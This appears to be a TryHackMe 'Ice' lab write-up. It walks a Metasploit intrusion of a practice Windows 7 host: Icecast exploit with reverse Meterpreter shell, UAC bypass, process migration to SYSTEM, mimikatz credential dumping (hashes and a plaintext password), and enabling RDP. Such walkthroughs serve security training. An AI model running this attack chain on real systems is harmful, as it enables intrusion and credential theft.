THM - ICE

Ice

Skibum 5/3/2020


IP Address 10.10.181.247

Recon

kali@kali:~$ nmap -sC -sV 10.10.181.247

    Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-03 13:29 EDT
    Stats: 0:02:24 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
    NSE Timing: About 98.96% done; ETC: 13:32 (0:00:01 remaining)
    Nmap scan report for 10.10.181.247
    Host is up (0.14s latency).
    Not shown: 988 closed ports
    PORT      STATE SERVICE            VERSION
    135/tcp   open  msrpc              Microsoft Windows RPC
    139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
    445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
    3389/tcp  open  ssl/ms-wbt-server?
    |_ssl-date: 2020-05-03T17:31:07+00:00; -2s from scanner time.
    5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Service Unavailable
    8000/tcp  open  http               Icecast streaming media server
    |_http-title: Site doesn't have a title (text/html).
    49152/tcp open  msrpc              Microsoft Windows RPC
    49153/tcp open  msrpc              Microsoft Windows RPC
    49154/tcp open  msrpc              Microsoft Windows RPC
    49158/tcp open  msrpc              Microsoft Windows RPC
    49159/tcp open  msrpc              Microsoft Windows RPC
    49160/tcp open  msrpc              Microsoft Windows RPC
    Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

    Host script results:
    |_clock-skew: mean: 1h14m58s, deviation: 2h30m00s, median: -1s
    |_nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:00:4f:e5:d5:44 (unknown)
    | smb-os-discovery: 
    |   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
    |   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
    |   Computer name: Dark-PC
    |   NetBIOS computer name: DARK-PC\x00
    |   Workgroup: WORKGROUP\x00
    |_  System time: 2020-05-03T12:31:02-05:00
    | smb-security-mode: 
    |   account_used: guest
    |   authentication_level: user
    |   challenge_response: supported
    |_  message_signing: disabled (dangerous, but default)
    | smb2-security-mode: 
    |   2.02: 
    |_    Message signing enabled but not required
    | smb2-time: 
    |   date: 2020-05-03T17:31:02
    |_  start_date: 2020-05-03T17:28:52

Exploit

msf5 > search icecast

    Matching Modules
    ================

       #  Name                                 Disclosure Date  Rank   Check  Description
       -  ----                                 ---------------  ----   -----  -----------
       0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite

msf5 > use exploit/windows/http/icecast_header

msf5 exploit(windows/http/icecast_header) > show options

    Module options (exploit/windows/http/icecast_header):\

       Name    Current Setting  Required  Description
       ----    ---------------  --------  -----------
       RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'  
       RPORT   8000             yes       The target port (TCP)

    Exploit target:

       Id  Name
       --  ----
       0   Automatic

msf5 exploit(windows/http/icecast_header) > set RHOSTS 10.10.181.247 RHOSTS => 10.10.181.247

msf5 exploit(windows/http/icecast_header) > run

    [*] Started reverse TCP handler on 10.9.9.59:4444
    [*] Sending stage (180291 bytes) to 10.10.181.247
    [*] Meterpreter session 1 opened (10.9.9.59:4444 -> 10.10.181.247:49189) at 2020-05-03 13:42:08 -0400

Access Granted

meterpreter > getuid

Server username: Dark-PC\Dark

meterpreter > sysinfo

    Computer        : DARK-PC
    OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x86/windows

Determine how to Escalate

msf5 > run post/multi/recon/localexploitsuggester

msf5 > use exploit/windows/local/bypassuac_eventvwr

msf5 exploit(windows/local/bypassuac_eventvwr) > show options

    Module options (exploit/windows/local/bypassuac_eventvwr):

       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       SESSION  1                yes       The session to run this module on.


    Exploit target:

       Id  Name
       --  ----
       0   Windows x86

msf5 exploit(windows/local/bypassuac_eventvwr) > sessions

    Active sessions
    ===============

      Id  Name  Type                     Information             Connection
      --  ----  ----                     -----------             ----------
      1         meterpreter x86/windows  Dark-PC\Dark @ DARK-PC  10.9.9.59:4444 -> 10.10.181.247:49200 (10.10.181.247)

msf5 exploit(windows/local/bypassuac_eventvwr) > run

    [*] Started reverse TCP handler on 10.9.9.59:4444 
    [*] UAC is Enabled, checking level...
    [+] Part of Administrators group! Continuing...
    [+] UAC is set to Default
    [+] BypassUAC can bypass this setting, continuing...
    [*] Configuring payload and stager registry keys ...
    [*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
    [+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
    [*] Sending stage (180291 bytes) to 10.10.181.247
    [*] Meterpreter session 2 opened (10.9.9.59:4444 -> 10.10.181.247:49206) at 2020-05-03 13:54:56 -0400
    [*] Cleaning up registry keys ...

meterpreter > getprivs

    Enabled Process Privileges
    ==========================

    Name
    ----
    SeBackupPrivilege
    SeChangeNotifyPrivilege
    SeCreateGlobalPrivilege
    SeCreatePagefilePrivilege
    SeCreateSymbolicLinkPrivilege
    SeDebugPrivilege
    SeImpersonatePrivilege
    SeIncreaseBasePriorityPrivilege
    SeIncreaseQuotaPrivilege
    SeIncreaseWorkingSetPrivilege
    SeLoadDriverPrivilege
    SeManageVolumePrivilege
    SeProfileSingleProcessPrivilege
    SeRemoteShutdownPrivilege
    SeRestorePrivilege
    SeSecurityPrivilege
    SeShutdownPrivilege
    SeSystemEnvironmentPrivilege
    SeSystemProfilePrivilege
    SeSystemtimePrivilege
    SeTakeOwnershipPrivilege
    SeTimeZonePrivilege
    SeUndockPrivilege

meterpreter > ps

    Process List
    ============

     PID   PPID  Name                  Arch  Session  User                          Path
     ---   ----  ----                  ----  -------  ----                          ----
     0     0     [System Process]                                                   
     4     0     System                x64   0                                      
     416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
     544   536   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
     584   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
     592   536   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
     604   584   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
     652   584   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
     692   592   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
     700   592   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
     708   592   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
     816   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
     848   692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
     884   692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
     932   692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
     1020  692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
     1060  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
     1184  692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
     1212  816   WmiPrvSE.exe          x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\wbem\WmiPrvSE.exe
     1300  1020  dwm.exe               x64   1        Dark-PC\Dark                  C:\Windows\System32\dwm.exe
     1312  1284  explorer.exe          x64   1        Dark-PC\Dark                  C:\Windows\explorer.exe
     1364  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
     1392  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
     1456  692   taskhost.exe          x64   1        Dark-PC\Dark                  C:\Windows\System32\taskhost.exe
     1540  692   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
     1636  692   LiteAgent.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Xentools\LiteAgent.exe
     1676  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
     1816  692   Ec2Config.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
     2072  908   powershell.exe        x86   1        Dark-PC\Dark                  C:\Windows\SysWOW64\WindowsPowershell\v1.0\powershell.exe
     2208  692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\sppsvc.exe
     2224  692   TrustedInstaller.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\servicing\TrustedInstaller.exe
     2284  1312  Icecast2.exe          x86   1        Dark-PC\Dark                  C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
     2500  692   vds.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\vds.exe
     2616  692   SearchIndexer.exe     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\SearchIndexer.exe
     2644  816   rundll32.exe          x64   1        Dark-PC\Dark                  C:\Windows\System32\rundll32.exe
     2676  2644  dinotify.exe          x64   1        Dark-PC\Dark                  C:\Windows\System32\dinotify.exe
     3068  604   conhost.exe           x64   1        Dark-PC\Dark                  C:\Windows\System32\conhost.exe

meterpreter > migrate -N spoolsv.exe

    [*] Migrating from 2072 to 1364...
    [*] Migration completed successfully.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Load Cracking Tool

meterpreter > load kiwi

    Loading extension kiwi...
      .#####.   mimikatz 2.2.0 20191125 (x64/windows)
     .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
     ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
     ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
     '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
      '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

    Success.

Kiwi Commands

=============

Command Description
------- -----------
credsall Retrieve all credentials (parsed)
creds
kerberos Retrieve Kerberos creds (parsed)
credsmsv Retrieve LM/NTLM creds (parsed)
creds
ssp Retrieve SSP creds
credstspkg Retrieve TsPkg creds (parsed)
creds
wdigest Retrieve WDigest creds (parsed)
dcsync Retrieve user account information via DCSync (unparsed)
dcsyncntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden
ticketcreate Create a golden kerberos ticket
kerberos
ticketlist List all kerberos tickets (unparsed)
kerberos
ticketpurge Purge any in-use kerberos tickets
kerberos
ticketuse Use a kerberos ticket
kiwi
cmd Execute an arbitary mimikatz command (unparsed)
lsadumpsam Dump LSA SAM (unparsed)
lsadumpsecrets Dump LSA secrets (unparsed)
passwordchange Change the password/hash of a user
wifi
list List wifi profiles/creds for the current user
wifilistshared List shared wifi profiles/creds (requires SYSTEM)

meterpreter > creds_all

    [+] Running as SYSTEM
    [*] Retrieving all credentials
    msv credentials
    ===============

    Username  Domain   LM                                NTLM                              SHA1
    --------  ------   --                                ----                              ----
    Dark      Dark-PC  e52cac67419a9a22ecb08369099ed302  7c4fe5eada682714a036e39378362bab  0d082c4b4f2aeafb67fd0ea568a997e9d3ebc0eb

    wdigest credentials
    ===================

    Username  Domain     Password
    --------  ------     --------
    (null)    (null)     (null)
    DARK-PC$  WORKGROUP  (null)
    Dark      Dark-PC    Password01!

    tspkg credentials
    =================

    Username  Domain   Password
    --------  ------   --------
    Dark      Dark-PC  Password01!

    kerberos credentials
    ====================

    Username  Domain     Password
    --------  ------     --------
    (null)    (null)     (null)
    Dark      Dark-PC    Password01!
    dark-pc$  WORKGROUP  (null)

meterpreter > run post/windows/manage/enable_rdp

    [*] Enabling Remote Desktop
    [*]     RDP is already enabled
    [*] Setting Terminal Services service startup mode
    [*]     The Terminal Services service is not set to auto, changing it to auto ...
    [*]     Opening port in local firewall if necessary
    [*] For cleanup execute Meterpreter resource file: /home/kali/.msf4/loot/20200503141549_default_10.10.181.247_host.windows.cle_049924.txt

Access via RDP gained !!!


You'll only receive email when they publish something new.

More from sk18um
All posts